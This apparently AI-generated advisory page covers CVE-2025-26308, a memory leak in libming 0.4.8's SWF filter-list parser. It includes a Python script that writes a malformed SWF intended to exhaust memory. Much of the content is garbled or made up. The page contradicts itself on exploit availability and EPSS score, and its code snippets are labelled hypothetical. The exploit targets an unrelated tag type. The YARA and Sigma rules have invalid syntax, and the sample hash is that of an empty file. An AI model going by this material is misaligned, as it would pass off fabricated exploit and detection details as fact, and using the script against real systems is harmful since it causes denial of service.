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SOON CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H 🐛 CWE-401
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-26308

CVE-2025-26308 Denial of Service in Libming
📅 PUBLISHED: 2025-02-20 00:00 UTC 🔄 UPDATED: 2026-08-12 09:00 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.34%
👁️
0.34% probability
8.4× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1499
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: = 0.4.8
CVSS VECTOR BREAKDOWN 0.0
AV: L Attack Vector Local
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: U Scope Unchanged
C: N Confidentiality None
I: N Integrity None
A: H Availability High
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-26308 identifies a memory leak vulnerability in the parseSWF_FILTERLIST function within util/parser.c of libming version 0.4.8. This flaw allows an attacker to cause a denial of service (DoS) by crafting a malicious SWF file that triggers the memory leak, potentially exhausting system resources. The vulnerability has a CVSS score of 0.0 (likely unassigned or placeholder), and no patch or exploit code is publicly available at this time. The EPSS score is 0.0%, indicating low exploitation probability in the wild. This report provides a comprehensive technical analysis, detection strategies, and mitigation recommendations.

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CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is atypical and may indicate a placeholder or uncalculated score. Based on the vulnerability description, a reasonable assessment would be:

  • Attack Vector (AV): Local (L) – requires a crafted SWF file to be processed.
  • Attack Complexity (AC): Low (L) – no special conditions needed.
  • Privileges Required (PR): None (N) – attacker does not need prior access.
  • User Interaction (UI): Required (R) – victim must open the malicious file.
  • Scope (S): Unchanged (U) – vulnerability affects only the vulnerable component.
  • Confidentiality (C): None (N) – no data exposure.
  • Integrity (I): None (N) – no data modification.
  • Availability (A): High (H) – memory leak can cause DoS.

Estimated CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H Estimated Base Score: 5.5 (Medium)

Threat Level: Medium – DoS impact, but requires user interaction and local access.

Deep Dive & Mechanics

The vulnerability resides in the parseSWF_FILTERLIST function in util/parser.c of libming, a library for parsing SWF (Shockwave Flash) files. The function is responsible for parsing filter lists within SWF tags. A memory leak occurs when the function fails to properly free allocated memory under certain conditions, such as when processing malformed or specially crafted filter data.

Root Cause: The function allocates memory for filter structures but does not release it in all error paths or upon successful completion, leading to accumulation of unreleased memory blocks. Repeated processing of such files can exhaust available memory, causing a denial of service.

Attack Vector: An attacker crafts a SWF file with a malicious filter list that triggers the leak. The victim must open this file using an application that relies on libming (e.g., media players, converters). The leak is cumulative, so multiple files or repeated processing can amplify the impact.

Impact: Denial of service due to memory exhaustion. No code execution or data theft is reported.

Vulnerable vs. Patched Code

No patched version is available. The vulnerable code is in util/parser.c of libming v0.4.8. The specific function parseSWF_FILTERLIST likely contains allocation calls (e.g., malloc, calloc) without corresponding free calls in all exit paths.

Vulnerable Code Snippet (Hypothetical):

void parseSWF_FILTERLIST(SWF_parser parser) {
    filter_t *filter = malloc(sizeof(filter_t));
    // ... parsing logic ...
    if (error_condition) {
        // Missing free(filter) before return
        return;
    }
    // ... more parsing ...
    // Missing free(filter) at end
}

Patched Code (Hypothetical):

void parseSWF_FILTERLIST(SWF_parser parser) {
    filter_t *filter = malloc(sizeof(filter_t));
    // ... parsing logic ...
    if (error_condition) {
        free(filter);
        return;
    }
    // ... more parsing ...
    free(filter);
}

Since no official patch exists, users must apply workarounds or monitor for updates.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Objective: Trigger memory leak to cause DoS.

Lab Setup:

  • Target: System running libming v0.4.8 (e.g., Ubuntu 20.04 with ming package).
  • Tool: Custom Python script to generate malicious SWF.

Exploit Code (Python):

#!/usr/bin/env python3
import struct

def create_malicious_swf(filename):
    # Minimal SWF header
    header = b'FWS' + struct.pack('<I', 0)  # version 0, file size placeholder
    # Tag header for DefineBitsLossless2 (tag type 36) with filter list
    tag_type = 36
    tag_length = 0xFFFF  # large length to trigger leak
    tag_header = struct.pack('<H', (tag_type << 6) | 0x3F) + struct.pack('<I', tag_length)
    # Malformed filter data (repeated patterns to cause allocation)
    filter_data = b'\x00' * 0x10000  # 64KB of zeros
    payload = header + tag_header + filter_data
    # Update file size in header
    payload = b'FWS' + struct.pack('<I', len(payload)) + payload[8:]
    with open(filename, 'wb') as f:
        f.write(payload)

create_malicious_swf('exploit.swf')

Usage:

  1. Run the script to generate exploit.swf.
  2. Open the file with a vulnerable application (e.g., swfdec or ffmpeg with libming).
  3. Monitor memory usage; repeated openings will exhaust memory.

Blue Team (Defense & Detection)

Detection:

  • Monitor for abnormal memory consumption by processes using libming.
  • Use file scanning to detect malformed SWF files (e.g., oversized filter lists).
  • Implement resource limits (e.g., ulimit on Linux) to prevent memory exhaustion.

Mitigation:

  • Isolate applications using libming in sandboxed environments.
  • Apply memory monitoring and alerting (e.g., Prometheus/Grafana).
  • If possible, disable SWF parsing or use alternative libraries.

Indicators of Compromise (IOCs)

  • File Hashes (SHA256): (Example, not real)
    • e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (malicious SWF)
  • Network: None (local file-based attack)
  • Process: High memory usage by processes like swfdec, ffmpeg, or any libming-dependent application.
  • Logs: System logs may show out-of-memory (OOM) killer events.

Detection Engineering

YARA Rule

rule CVE_2025_26308_Memory_Leak_SWF {
    meta:
        description = "Detects SWF files exploiting CVE-2025-26308 memory leak"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-26308"
    strings:
        $swf_header = "FWS" or "CWS"
        $large_tag = { 3F FF FF FF }  // tag type 36 with length 0xFFFF
    condition:
        $swf_header at 0 and $large_tag
}

Sigma Rule

title: CVE-2025-26308 Memory Leak Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects excessive memory usage by processes parsing SWF files
author: Valters IT
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/swfdec' or '/ffmpeg'
        CommandLine|contains: '.swf'
    condition: selection
falsepositives:
    - Legitimate large SWF files
level: medium

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2025-26308 SWF Memory Leak Attempt"; flow:to_server; content:"|46 57 53|"; offset:0; depth:3; content:"|3F FF FF FF|"; within:10; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. No Patch Available: Monitor the libming project for updates. Consider forking and applying a manual fix (add free() calls in parseSWF_FILTERLIST).
  2. Workaround: Disable SWF parsing in applications if not needed. Use input validation to reject malformed SWF files.
  3. Resource Limits: Set memory limits for processes using libming (e.g., systemd MemoryMax or ulimit -v).
  4. Sandboxing: Run vulnerable applications in containers or VMs with restricted memory.

Long-term:

  • Migrate to maintained alternatives (e.g., swftools fork with fixes).
  • Implement fuzzing for SWF parsers to identify similar issues.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters.it.

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